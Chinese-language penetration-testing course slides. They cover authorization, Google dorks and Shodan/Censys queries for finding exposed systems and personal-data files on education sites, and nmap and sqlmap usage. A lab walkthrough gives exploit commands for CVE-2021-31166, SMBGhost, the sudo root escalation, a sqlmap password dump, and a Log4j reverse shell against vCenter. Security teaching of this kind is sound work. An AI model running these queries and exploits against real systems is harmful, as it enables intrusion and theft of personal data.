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滲透測試服務是什麼

滲透測試服務 (Penetration Test, PT) 

以駭客思維嘗試入侵該單位的網站、資訊系統

、設備等軟硬體，找出各種潛在的漏洞，驗證

單位的資料與設備是否可被竊取或破壞，評估

資訊系統與硬體安全性是否有待加強。

From:DEVCORE 戴夫寇爾



滲透測試流程

撰寫報告確認需求
MERCURY

NVIDIA遭駭

客入侵

滲透測試

JUPITER
資料搜集 漏洞探測 漏洞利用



授權同意書
需經由受測單位同意，才可
合法進行滲透測試

專案範圍
確認檢測範圍是全部單位，
還是只有部份核心系統

專案時程
確認檢測時程開始及結束時
程，及繳交報告時間

檢測項目及方
式

確認檢測方式(黑箱、白箱
、灰箱)、到場或遠端

確認需求



搜尋特定網站，如
台灣教育體系網站

搜尋網頁title 中，
包含 “index of”文
字的頁面

搜尋網頁鏈結中，
包含uploads文字的
url

搜尋特定附檔名的
檔案，如 asp

漏洞搜尋&探測
Google Dork (Google Hacking) 基本搜尋

site:edu.tw

intitle:index of

inurl:uploads

filetype:asp

Or 

ext:asp



搜尋被駭客入侵並
公告的網頁

搜尋教育體系中，
有人個資料的excel 
檔案

搜尋教育體系網站中
，包含”index of”及
uploads目錄的網頁

搜尋教育體系網站

中，asp網站內並包
含mdb文字的檔案

漏洞搜尋&探測
Google Dork (Google Hacking) 建階搜尋

intitle:"hacked by" 

(ext:jsp OR ext:php 

OR ext:asp OR 
ext:html OR ext:txt)

filetype:xlsx 

site:edu.tw  手機

intitle:"index of"  

"wp-content" 

site:edu.tw 

inurl:uploads

intext:Server.MapP

ath(".mdb") ext:asp 

site:edu.tw



漏洞搜尋&探測

Shodan

● 發展源由

○ 2009年，約翰‧馬瑟利（John Matherly）建立了Shodan，它的名稱來自於

一款名為「系統衝擊」電子遊戲中那台有感知能力的邪惡電腦

○ Google搜尋的是網站，而Shodan是搜尋裝置

● 運作原理

○ 掃描全世界的IP，擷取其相關資訊，其中包括可得到IP位址、運行的服務

、系統資訊等，搜尋目標包含任何可上網的設備，如：伺服器, 攝影機, 印

表機, 網路設備

○ Banner Grabbing (Http/Https, SSH, SQL)

● 費用

○ 可申請昇級為教育版帳號 From:網管人

暗黑版Google



Shodan 費用



Shodan 教育版功能

https://help.shodan.io/the-basics/academic-upgrade


Shodan.io



Shodan 申請為教育版方式-1

先註冊為一般使用者



Shodan 申請為教育版方式-2



Shodan 申請為教育版方式-3

寄信給 ：academic@shodan.io
告知要申請為 academic 帳號

From:https://toptechpal.com/how-to-upgrade-your-shodan-account-for-
free/

https://toptechpal.com/how-to-upgrade-your-shodan-account-for-free/


Shodan 申請為教育版方式-4

大約半小時內回覆已升級帳號等級



Shodan 申請為教育版方式-5

帳號已升級為 Academic membership



Shodan 搜尋功能

常用的參數
參數 說明 範例

net 搜尋IP網段的設備 net:140.0.0.0/16

port 搜尋指定Port port:22,443

country 搜尋指定的國家 country:tw

city 搜尋指定的城市 city:"Taoyuan City"

product 搜尋指定的產品 product :D-link

os 搜尋指定的作業系統 os:windows

hostname 搜尋指定的網域名稱 hostname:edu.tw

org 搜尋指定的組織名稱 org:"Ministry of Education Computer Center"



Shodan 搜尋功能 - 一般練習

● 尋找Windows 系統，且開啟「遠端桌面」的主機

● 尋找Ubuntu系統，且不是使用預設SSH port的主機

● 尋找自己學校網域，且使用Apache架設網站的主機

● 尋找自己學校網段，且開放mysql對外連線的主機

● OS:Windows port:3389

● OS:Ubuntu "OpenSSH" -port:22

● Hostname:xxx.edu.tw product:Apache

● Hostname:xxx.edu.tw product:mysql



Shodan 搜尋功能-進階練習

● 尋找有開放校外存取的”JAWS/1.0”設備

● 尋找已安裝VNC的主機，且可以直接取得畫面的主機

● 尋找Windows版本為 20H2，且開放HTTP/HTTPs的主機

● 尋找已安裝vCenter，且在台灣的主機

● JAWS/1.0 (攝影機 )

● "rfb" "authentication disabled"

● os:windows “version 2004” port:80,443

● vcenter server product:"VMware vCenter Server" 

country:"TW" 



漏洞搜尋&探測

Censys

● 發展源由

○ 由 GV（Google Ventures，Alphabet 旗下創投）和 Decibel（思科成立的創

投公司）領投

○ 與Shodan相同，主要目的是搜尋裝置

● 運作原理

○ 由開發並維護開放原始碼 ZMap 掃描器的同一團隊打造

○ Banner Grabbing (Http/Https, SSH, SQL)

● 費用

○ 免費使用



Censys 搜尋功能

○ 免費
參數 說明 範例

ip 搜尋IP網段的設備 ip: 140.0.0.0/8

service.port 搜尋指定Port service.port:{22, 443}

location.country_code 搜尋指定的國家 location.country_code：tw

Services.software.product 搜尋指定的產品型號 Services.software.product:DCS-5025L_5E

services.software.vendor 搜尋指定的廠商 services.software.vendor:microsoft

dns.names 搜尋指定的網域名稱 dns.names:edu.tw



漏洞搜尋&探測

● Zeroday

○ 學習SQL injection、XSS的地方



漏洞搜尋&探測

● CVE Detail

○ 搜尋CVE的好幫手

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiipYeG2rP3AhUjGKYKHfl1DzQQFnoECA0QAQ&url=https://www.cvedetails.com/&usg=AOvVaw3LjjzvOp9kLO1buOfGqkF-


漏洞搜尋&探測

● CVE Detail

○ 欄位說明

欄位 說明

Vendor 廠商名稱(Microsoft)

Product 產品名稱(Windows)

CVE ID CVE的號碼(CVE-2021-

31166)

CVSS Score 風險評分系統
1-10(分數高愈，風險愈
高）

Vulnerability 

Publish Date

漏洞被公開的時間

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiipYeG2rP3AhUjGKYKHfl1DzQQFnoECA0QAQ&url=https://www.cvedetails.com/&usg=AOvVaw3LjjzvOp9kLO1buOfGqkF-
https://github.com/antx-code/CVE-2021-31166


漏洞搜尋&探測

● Exploit-db

○ 搜尋攻擊程式的好幫手

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiIv5SW2rP3AhXVCaYKHY0mAR0QFnoECBEQAQ&url=https://www.exploit-db.com/&usg=AOvVaw2UWz5FKB6jgpgQ7KRhnlV1


漏洞搜尋&探測

● Github

○ 攻擊程式的大補帖



漏洞搜尋練習

請在CVE Detail網站上，依照下列條件搜尋CVE編號

● 2020年公開的資料
● 作業系統為Windows 10

● CVSS分數在7以上
● 攻擊複雜度低
● 不需要驗證使用者
● 漏洞類型有 overflow

在Github上是否有攻擊程式(exploit)可以使用?



漏洞搜尋&探測

● netdiscover
○ 功能

■ 區域網路內的主機探測工具
■ 透過 ARP 的方式偵測主機
■ 可以掃描多個網段

○ 指令

■ sudo netdiscover -r 10.0.2.0/24 (要掃描的網段)



漏洞搜尋&探測

● Nmap 

○ 功能

■ 圖形化使用者介面或指令模式

■ 發現裝置、掃描通訊埠及服務、各種版本檢視、檢測作業系統

■ 可以掃描單一 IP、連續或不連續網段

■ 支援多種作業系統，如 Windows, macOS, Linux

■ 匯出的 xml 格式，可匯入到 Nessus 或 Metasploit 等工具



Nmap 說明

● Nmap 指令模式



● Nmap 指令模式

Nmap 說明

掃描方式 參考指令

掃描單一主機 nmap 目標IP

掃描多個主機 nmap 目標IP,目標IP

排除 IP 的方法 nmap 目標IP --exclude  特定IP

簡易掃描 nmap -A -T4 目標IP

-A :  全面掃描，包含偵測作業系統、服務版本、使用script、

traceroute

-T4 : 調整掃描速度(1~5)，數字愈大，速度愈快，如果網路穩定，

建議用 T4

掃描特定 port nmap -p 1-1024 目標IP

掃描最常使用的port nmap -top 20 目標IP



● Nmap 指令模式

Nmap 說明

掃描方式 參考指令

只掃描服務的版本 nmap -sV 目標IP

只掃描作業系統版本 nmap -O 目標IP

透過 ICMP 偵測主機是否在線上 nmap -sn 目標IP

認定主機在線上，不透過 ICMP 

的方式偵測主機是否存在

nmap -A -T4 -Pn 目標IP

將掃描檔匯出成 xml 檔案格式 nmap -A -T4 目標IP -oX filename.xml

掃描檔案中的目標主機 nmap -A -T4 -iL target.txt



● Nmap 腳本模式 (script)

○ 腳本路徑 /usr/share/nmap/scripts

掃描方式 參考指令

檢測預設腳本的漏洞 nmap -A -T4 --script default 目標IP

檢測常見的漏洞 nmap -A -T4 --script vuln 目標IP 

檢測 ssh 的漏洞 nmap -p22 --script ssh-*  目標IP 

檢測 snmp 的漏洞 nmap -sU -p161 --script default 目標IP 

檢測 smb 的漏洞 nmap -p135,139,445 --script=smb-check-vulns 目標IP -Pn

檢測是否有WAF nmap -p80,443 --script=http-waf-detect 目標IP 

Nmap 說明

https://nmap.org/nsedoc/categories/default.html
https://nmap.org/nsedoc/categories/vuln.html


Sqlmap

● Sqlmap

○ SQL injection的檢測工具

○ 可檢測 ASP,ASP.NET,JSP,PHP 等網頁程式

○ 可測試MySQL, Microsoft SQL Server, Microsoft Access, SQLite, PostgreSQL等

資料庫

○ 可列舉用戶名稱、密碼、權限、角色、資料庫、資料表、欄位



Sqlmap 參數說明

● Sqlmap常用參數

-u 要檢測的網址(url) -T 指定要列出的資料表

--dbs 列出所有的資料庫 --columns 列出目前資料表的所有欄位

--current-db 列出目前使用的資料庫 --dump 列出目前的資料內容

-D 指定要列出的資料庫 --risk
風險愈高，會使用不同的測試語法(如
:or)，但可能對資料內容的影響愈大

--tables
列出目前資料庫的所有資
料表

--level
在不同的地方測試sql injection，如
cookie, Agnet

--random-

agent

產生隨機的 User  Agent 資
料

-p 指定要檢測的欄位

-r 讀取 http的請求檔案 --batch 非交互模式，依照預設值進行掃描



情境

今天受委託，到某一間大學進行滲透測試，請試著

發現該間學校有什麼漏洞，並進一步測試是否可以

取得系統權限



漏洞探測

● 使用 nmap  確認下列事項

○ 主機開了那些port？

○ 這些port是什麼服務在使用？

○ 這些服務是否有漏洞？

80,81,135,443,445,2222

SMB, SSH, Web 



漏洞利用

Windows 10 20H2 + IIS

● 漏洞說明

○ 鎖定Windows 10 HTTP協定漏洞的概念性驗證攻擊漏洞現身

○ 未經授權的駭客可藉由傳送一個特製的封包，至利用HTTP協定堆疊

(http.sys)的伺服器上來處理封包，即可開採此一漏洞，而且它具備蠕蟲性

質

● 影響版本

○ Windows 10 20H2

● 攻擊程式

○ https://github.com/antx-code/CVE-2021-31166

○ 導致機器重啟

https://www.ithome.com.tw/news/144478
https://github.com/antx-code/CVE-2021-31166


漏洞利用

Windows 10 20H2 + IIS

● 開啟Kali中的「終端機」，並下載攻擊程式

○ git clone https://github.com/antx-code/CVE-2021-31166



漏洞利用

Windows 10 20H2 + IIS

● 開啟Kali中的「終端機」，並執行攻擊程式
○ 取代 CVE-2021-31166.py 中的目的地 IP

■ sed -i 's/192\.168\.199\.61/10\.0\.2\.x/g' CVE-2021-31166.py

○ 執行攻擊程式
■ python3 CVE-2021-31166.py

請將目的IP修改為
真實環境的IP



漏洞利用

網路芳鄰 - 藍屏
● 漏洞說明

○ Windows 10再傳可串聯SMBGhost的SMBleed漏洞

○ CVE-2020-0796為一遠端程式碼執行（RCE）漏洞，存在於Microsoft Server 

Message Block 3.1.1（SMBv3）協定中，可讓遠端駭客傳送惡意封包到

SMBv3伺服器觸發，於目標Windows 10機器上執行任意程式

● 影響版本

○ Windows 10 Version 1903,1909 for 32/64 bit based Systems

○ Windows Server, version 1903,1909 (Server Core installation)

● 攻擊程式

○ https://github.com/chompie1337/SMBGhost_RCE_PoC

○ 導致藍屏或取得權限

https://www.ithome.com.tw/news/138177
https://github.com/chompie1337/SMBGhost_RCE_PoC


漏洞利用

網路芳鄰 - 藍屏

● 開啟Kali中的「終端機」，並下載攻擊程式

○ git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git



漏洞利用

網路芳鄰 - 藍屏

● 開啟Kali中的「終端機」，並執行攻擊程式

○ python2 exploit.py -ip 10.0.2.10

請將目的IP修改為
真實環境的IP



漏洞利用

Linux 提權 - sudo漏洞
● 漏洞說明

○ 存在近十年的Linux Sudo漏洞，可讓任何本機使用者取得執行根權限

○ 安全廠商Qualys研究人員發現類Unix作業系統常用的Sudo程式，存在一個

權限升級漏洞，在預設Sudo組態情況下，任何人都能取得主機上的根執行

權限。

● 影響版本

○ sudo : 1.8.2到1.8.31p2的舊版本

○ sudo : 1.9.0到1.9.5p1的穩定版本

● 攻擊程式

○ https://github.com/CptGibbon/CVE-2021-3156.git

○ 取得權限

https://www.ithome.com.tw/news/142469
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://github.com/CptGibbon/CVE-2021-3156.git


漏洞利用

Linux 提權 - sudo漏洞

● 開啟Kali「終端機」連線至有漏洞的主機 (pcx/pcxPW)

○ 確認 sudo 版本： sudo -V

○ 確認是否有漏洞 : sudoedit -s Y

■ 如果需輸入密碼，有很高的機率有漏洞



漏洞利用

Linux 提權 - sudo漏洞

● 開啟Kali「終端機」下載攻擊程式，並compile後，執行攻擊程式

○ git clone https://github.com/CptGibbon/CVE-2021-3156.git

○ cd CVE-2021-3156 && make

○ ./exploit

https://github.com/CptGibbon/CVE-2021-3156.git


漏洞利用

SQL injection

● 漏洞說明

○ 網站存在 SQL injection漏洞

○ 透過SQL injection漏洞可以取得網站管理者的登入帳號及密碼

● 攻擊程式

○ sqlmap



漏洞利用

SQL injection

● 開啟Kali「瀏覽器」連線至目標主機，並測試是否有漏洞可使用

○ http://x.x.x.x/cat.php?id=1



漏洞利用

SQL injection

● 在網址列的參數後面，輸入「’」，可發現有顯示sql的語法錯誤的訊息

○ http://x.x.x.x/cat.php?id=1’



漏洞利用

SQL injection

● 使用sqlmap測試是否有漏洞可利用

○ sqlmap -u “http://x.x.x.x/cat.php?id=1”



漏洞利用

SQL injection

● 使用sqlmap取得資料庫相關資訊

○ sqlmap -u “http://x.x.x.x/cat.php?id=1”



漏洞利用

SQL injection

● sqlmap參數資料

-u 要檢測的網址(url) -T 指定要列出的資料表

--dbs 列出所有的資料庫 --columns 列出目前資料表的所有欄位

--current-db 列出目前使用的資料庫 --dump 列出目前的資料內容

-D 指定要列出的資料庫 --risk 風險愈高，會使用不同的測試語法(如
:or)，但可能對資料內容的影響愈大

--tables 列出目前資料庫的所有資
料表

--level 在不同的地方測試sql injection，如
cookie, Agnet

--random-

agent

修改User  Agent 的資料 -p 指定要檢測的欄位



● 取得網站內的資料庫列表

○ sqlmap -u “http://x.x.x.x/cat.php?id=1” 

--dbs

● 取得public資料庫中的資料表

○ sqlmap -u “http://x.x.x.x/cat.php?id=1” 

-D public --tables

漏洞利用

SQL injection



● 取得public資料庫中，user資料表中的欄位

○ sqlmap -u “http://x.x.x.x/cat.php?id=1” 

-D public -T users --columns

● 取得user資料表中，各欄位的資訊 (包含密碼)

○ sqlmap -u “http://x.x.x.x/cat.php?id=1” 

-D public -T users --dump

漏洞利用

SQL injection



漏洞利用

vCenter - Log4j

● 漏洞說明

○ 一文了解 Log4j 核彈級資安漏洞，為何嚴重到火星也受害？

○ Apache Server 跟 Apache Log4j 完全是不同的兩個東西

○ 只要 Log4j 在記錄 log 時記錄到某個特定格式的東西，就會去執行相對應的程式碼

● 影響版本

○ VMware vCenter Server (7.x before 7.0 U3c)

○ VMware vCenter Server (6.7 before 6.7 U3q)

● 攻擊程式

○ https://github.com/puzzlepeaches/Log4jCenter (CVE-2021-44228)

○ 取得權限或上傳後門程式

https://buzzorange.com/techorange/2021/12/21/what-is-log4j-and-log4shell/
https://github.com/puzzlepeaches/Log4jCenter


漏洞利用

vCenter - Log4j

● 開啟Kali中的「終端機」，安裝必要套件

○ sudo apt update && sudo apt install docker.io

○ git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter  

&& cd Log4jCenter && sudo docker build -t log4jcenter .



漏洞利用

vCenter - Log4j

● 開啟Kali中的「終端機」，執行攻擊程式 (用做反向連結)

○ 開啟主機的轉送 Port



漏洞利用

vCenter - Log4j

● 開啟Kali中的「終端機」，執行攻擊程式 (用做反向連結)

○ 開啟主機的轉送 Port



漏洞利用

vCenter - Log4j

● 開啟Kali「終端機」的2個視窗，監聽 Port 並透過 docker 執行攻擊程式

○ 視窗1 : nc -lvnp 4444

○ 視窗2 : sudo docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p

1389:1389 log4jcenter -t 目的IP -i 本機IP -p 4444 -r



保密宣告
告知此文件的使用方式，並不
得拷貝、洩漏或散佈內容

風險數量及等級
告知本次檢測完畢後，發現到
的風險數量，及其風險屬於高
、中或低

風險發現說明
告知發現到的風險內容，及詳
細的檢測步驟，讓單位了解風
險發生的原因

風險修正建議
告知單位可用何種方式避免風
險

撰寫報告



主機及網站防護方式

04

硬體防護
建置防火牆、
IPS等設備，阻
擋零時差攻擊

01

備份

定期備份資料
避免資料遺失

02

WAF

透過WAF阻擋
基本網頁攻擊
ModSecurity                                                

03

更新

定期更新程式
，並檢測系統
是否存在漏洞



網路上有很多攻擊程式，想要測試是
否可使用，但自己建置環境很麻煩，
攻擊外部主機，又有可能觸法！

到底要怎麼提昇自己的資安技能？



Hack the box

○ 提供各種漏洞主機的平臺的，以線上虛擬機的方式讓

使用者使用

○ 透過各種關卡，進行滲透測試、提權、漏洞利用等方

式，取得最後的旗幟 “Flag”

○ 可以獲得積分，並提高排名

○ 作業系統以包含 Windows / Linux



Hack the box

https://www.hackthebox.com/


Vulnhub

○ 提供各種漏洞主機的平臺的，以虛擬機的方式讓使用者下載

○ 以離線的方式練習

○ 依不同作者喜好，會提供 vmware 或 virtualbox 的虛擬平台

○ 透過關卡提示，進行滲透測試、提權、漏洞利用等方式，取

得最後的旗幟 “Flag”

○ 作業系統以 Linux 為主



Internet

NAT網路 (NATNetwork) 10.0.2.x

LAB 網路架構及環境



VulnHub — Blogger

掃描主機

1

尋找漏洞

2

利用漏洞

3

提昇權限

4

user.txt中
的字串

5

netdiscover nmap github

https://hackmd.io/@golsip/H1vAt1iS5

https://hackmd.io/@golsip/H1vAt1iS5
https://hackmd.io/@golsip/H1vAt1iS5

